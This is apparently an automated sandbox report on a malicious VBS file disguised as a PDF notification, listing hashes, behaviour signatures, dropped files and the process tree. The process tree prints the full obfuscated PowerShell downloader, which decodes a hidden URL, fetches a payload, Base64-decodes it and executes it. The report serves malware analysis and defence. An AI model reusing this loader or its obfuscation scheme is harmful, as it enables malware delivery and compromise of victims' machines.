Analysis

  • max time kernel
    299s
  • max time network
    244s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    22-11-2024 11:02

General

  • Target

    Bunker Notification_pdf.vbs

  • Size

    38KB

  • MD5

    da585c076f85367266cc0c6278863775

  • SHA1

    5f20adced6dcac42336a587c4c99036098f75691

  • SHA256

    1bd7e51b56b53d6522565bee13bf0fe855b27ff37cddcc4d71cfced82e01e86f

  • SHA512

    da39a7bb7d92eadcd50b06d6c12cf9f10b4e5aa3ec6a201984f41556ea9825948ec03cc1a47c07ba7fb50169b9eb3d95fb7bc1efa78b54c7ac180723ef95cb52

  • SSDEEP

    768:CJLtBS6wlVggNDAAE1yU2QLIeG34mMEeVMSjBLf20KnHtTkoi3zToBEWLuJP:CJJBSxNDlE1y8Lps4mMEXSlLf54koiXJ

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Bunker Notification_pdf.vbs"
    1⤵
    • Blocklisted process makes network request
    • Enumerates connected drives
    • Modifies system certificate store
    • Suspicious use of WriteProcessMemory
    PID:2376
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#subbasal sugerrs Neutrodyne Russophobia Cockneyernes Flatlets Foderalerne #><#Forvorpen exanimated Kanaljers #>$streptococci='Unsubmissive';function svingtud($Restskatters){If ($host.DebuggerEnabled) {$Corymbose36=3} for ($shaper=$Corymbose36;;$shaper+=4){if(!$Restskatters[$shaper]) { break }$Potentizes+=$Restskatters[$shaper]}$Potentizes}function uafladelige($Hepatomas){ .($saxonic) ($Hepatomas)}$Anthorine=svingtud 'HaeN.asENont nd.b jwPe,EOspbGerC KiLCreI Che Nun,nit';$Overkommer=svingtud 'ArbM.naoKiszC eiAsslIlll kmaKli/';$Mrkbare=svingtud 'R cTRuml fosHym1I.d2';$Knurre='Ted[ idn u e elt Al. AsssylEGraRkamVmonIDruc naEConpPeaOAflipron MaT AdmPreAHoensquaU.sGP ieTolrDob]Utr: Id: BlscogEOp CTeru P R miIbarTCery OuPLi.r,oro D,tdepo OxcD,uOsecl Op=Hgt$tr,mArvRN tk O.BRouALarrslae';$Overkommer+=svingtud 'Myr5Udf.afs0Co, Red(M rWchiisugnRa dBlooshewsigsgen sigN c T Ps Fje1sum0Rec.Jus0Rap;Brn onWspiiHinnFro6Cam4Jor;Lym Hux ag6Kad4Mol;skr My rArcv s :An 1Vi 3 ru1 .k.Jog0 T )Aut OdlG sleErgc orksemoFor/ sw2 Ch0Unr1Bid0Uls0Udl1Hoo0Ang1 et stvFHstiBarr KeeYeofEdioB exFol/ Pa1 .o3Enl1 ep.Rea0';$Fremlejens=svingtud 'bloUFa.sParEIntROms-GrnADasg,ule BrN MeT';$skravl=svingtud ' AnhEpit act Dep acsN n:H b/Bu,/.ozbUnf9Ruta s 1Be . sti Enclodusko/ douMoiLNonhCheD reGsovgKomaHalY ka/ peTv.ra gguLadtFr nD peBetsChos o,.FritDe hRefn';$shaperntimiteterne=svingtud 'Du,>';$saxonic=svingtud 's ri ,hEHenX';$Anbringendernes184='Restanternes166';$Afsindiges='\Busbaner195.Odo';uafladelige (svingtud 'In,$D.gG flLberOKomBs ea MrlPe : PrsHa.e oG emgWorIHirO C =Mng$UncE senKhwvNon:,usaun pEftPGondHerAAnttFe,aAfk+sub$Br AUriFDeisBugiPolNTrad oaiEx,g VeE Efs');uafladelige (svingtud ' K $ Fag s.lPetODedbsoyaPosLEol: shVAprK hisChat Usc Vie Udn atPa,rBerE Un= l$FonsTyekskrRUm aElevFd.LBun. s,ss oP PoL WhI ortste(Afk$OpssConhUdsaBraPNogEs kr ennUnitAttI TeM ,yIAvntAn.eTritRe EPe.rPornReae h)');uafladelige (svingtud $Knurre);$skravl=$Vkstcentre[0];$Abounds=(svingtud ' Ci$ AfGBonL,osO Hub.kea Pol ac: sinsanoAngr.esM BaA DrlsictCome Pam oPs.eespiRch aA etstouA tREn ELu N AcsJ u=D sNReeeQuiwsam-FasovicBsekJArtespaCstot ,n PlesIndY nhsP aTImbese mPar. Bo$Drua GanPriTUreHRacOLe RColI MnNLarE');uafladelige ($Abounds);uafladelige (svingtud ' a$PerN.ndospirEqum Fna .il BetCone .amst.p cheBakrLysasiltP ruPaar L eskanNonsInd.IncHUnce Tyar,ld ouemusr RysGra[Han$UdsFPserhkle FomsiplP oeElejO leClon sts Ci]si =spo$IntOswevkale TwrDelk ruo DemUl mN.te Bar');$successorer62=svingtud 'Pre$.otNspeo LnrdsimCiraDell CatAxieBedmKikpMuce Her Cha Pot Rrutotr orestrn H,s sa. dpD Cho PhwPronstrlPeroNonaUdkdFraFRosi nll,neeNyd(Pro$Blgs ek ecr Flasnov atl,om,Tum$staB FooPanpAntl Tve OvnOph1.ar0 Ge0Alb)';$Boplen100=$seggio;uafladelige (svingtud ' Ga$AelG A lI tOChab rA ThlEd.:Jult A AHugNDi ITvaAO lsFer=I,c(ForTPeieArrsisoT.is- isPNonA ut HeH Ud Ops$ isbF cO rpFreL liEDucNRet1rou0s n0Pal)');while (!$Tanias) {uafladelige (svingtud 'Pro$TorgRadlscoo NubRegaOctl st:sydLseleInsdAnkdEp e Blldisssolt a=Ob $YanY areRess V.esebs') ;uafladelige $successorer62;uafladelige (svingtud 'Nonss,dTOrpAskarschTUnh-Hyls saL eve .ie.ouPCoc Mu4');uafladelige (svingtud 'Af $BolGBi LPriO rebWe A Tilne :Tr TTalastanAfliTjrA Pes Ka=,il(TiltCa eMegsschtAsa-RhaPd dANe t hihP e Mo$.leBsocO RepI fL F.estrNUnt1 In0sip0Dub)') ;uafladelige (svingtud 'Far$s rG haLGyaOsytBVenaNaal so: anmMedEGasTstaAEkssYd,T LeEO tR henFeaAsubLKom=Haz$ GegKnfLMaioOpfBopkA Pal,il:UarsBamABrumTitMLites rNPr,sAu PGeraVelrLat+All+Aft%sga$paavsvak rnstr Tstec HeePten PrTC mrUd.EG.a. kkc OkOAzou jnGlat') ;$skravl=$Vkstcentre[$Metasternal]}$shaperrreducibilities=281291;$Euforiseringens=29073;uafladelige (svingtud 'ste$ taGsneLPo,o muB,faA.raLCha:sc s,mslOveuso.tBeddsjaIPalsVksPspio aan oreRacrsamiV dnUntG ipEChaRUdmNLiseCzasMob L.t=G.g Ga gstee EutBat-CoucAteOGriNA rtEpieTeln,umtFlo wef$O eb OvOGasP KaLAfmE,reNAnt1Ud,0Pks0');uafladelige (svingtud 'Lin$FregKerlForoB.sbCenaPrelBes:UndsTilkKnoy feg ungDire InrMo nKare .osJet Rho=Rea Pa [ab sR syautsLegt F eArim Ma.V.lC M,oHofnVehva ne A rContMoo]Des:Dob:R nF sar kloConmBemBsana.xys ske sa6Lad4 nesCl,tE.orProiBagn R.gFis(Pav$IndsstnlYamusl tTildseeistusForpKleoMohn ree AnrOpei ivnrengB lesu,rAnknswieLyss b,)');uafladelige (svingtud 'Era$myogs hlRhaoUngBVakAstrlTid:MusR eeELiklM lA,cets.lI rrVMatEYelTBak Coy= Pl B.c[seps AfyNonsMisTForenermBo..su tJorEDy,XT btf.m. .ue,otnAntc KvoAs DMuli unOveGGud] Tl:Iph:MidA mesTrockloi GuICou. sag.uge rutEkssschtPrersa.iHjdNMaug je(Ves$strssn,KArryArbG dG.ncEs rRTeaNanseskas .s)');uafladelige (svingtud 'Cat$.ouGol,LOveoBatb roAFisLsu.: rROffI DiCDepEH ab U.IMi rKonDBors Va=Rus$MedR TrE Exl PyARetTGt ITr vsvre bbtPas. ris,oru ytb,dmsBryTPter ntiWioNGy g Am( Kr$Tyrs teh vaAforp,orEAnkRIodRTisRRe esrvdskiuUnmcTraIMe B,iaIRekLAmiIUtat lIs,iE UbsGar,Put$GelEEsmuOveFUdsORivrNyoi kosac eA yrAu.I seN DeG,ygeserNWhis t)');uafladelige $Ricebirds;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2724

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

    Filesize

    342B

    MD5

    70e321f41cb34555ff8c4e28f464d754

    SHA1

    6257ac00392d4b34005d07fb574e52edccf62de5

    SHA256

    42e58d1595b7b98301d0adf9732bc72cc741d438a0e0071750dedeb9b053476f

    SHA512

    72e8783c601af6ccda5c5ecfd228ba5eef83a8ef35d5853056fe193855a529447388aae85b235e003ec4f8586866db4594e3febbc7587563e9d959a7e2b96a43

  • C:\Users\Admin\AppData\Local\Temp\Cab6E3F.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\Tar6E62.tmp

    Filesize

    181KB

    MD5

    4ea6026cf93ec6338144661bf1202cd1

    SHA1

    a1dec9044f750ad887935a01430bf49322fbdcb7

    SHA256

    8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

    SHA512

    6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

  • memory/2724-63-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB

  • memory/2724-61-0x000000001B400000-0x000000001B6E2000-memory.dmp

    Filesize

    2.9MB

  • memory/2724-62-0x0000000002490000-0x0000000002498000-memory.dmp

    Filesize

    32KB

  • memory/2724-60-0x000007FEF5D9E000-0x000007FEF5D9F000-memory.dmp

    Filesize

    4KB

  • memory/2724-64-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB

  • memory/2724-65-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB

  • memory/2724-66-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB

  • memory/2724-67-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB

  • memory/2724-68-0x000007FEF5D9E000-0x000007FEF5D9F000-memory.dmp

    Filesize

    4KB

  • memory/2724-69-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB

  • memory/2724-70-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB

  • memory/2724-71-0x000007FEF5AE0000-0x000007FEF647D000-memory.dmp

    Filesize

    9.6MB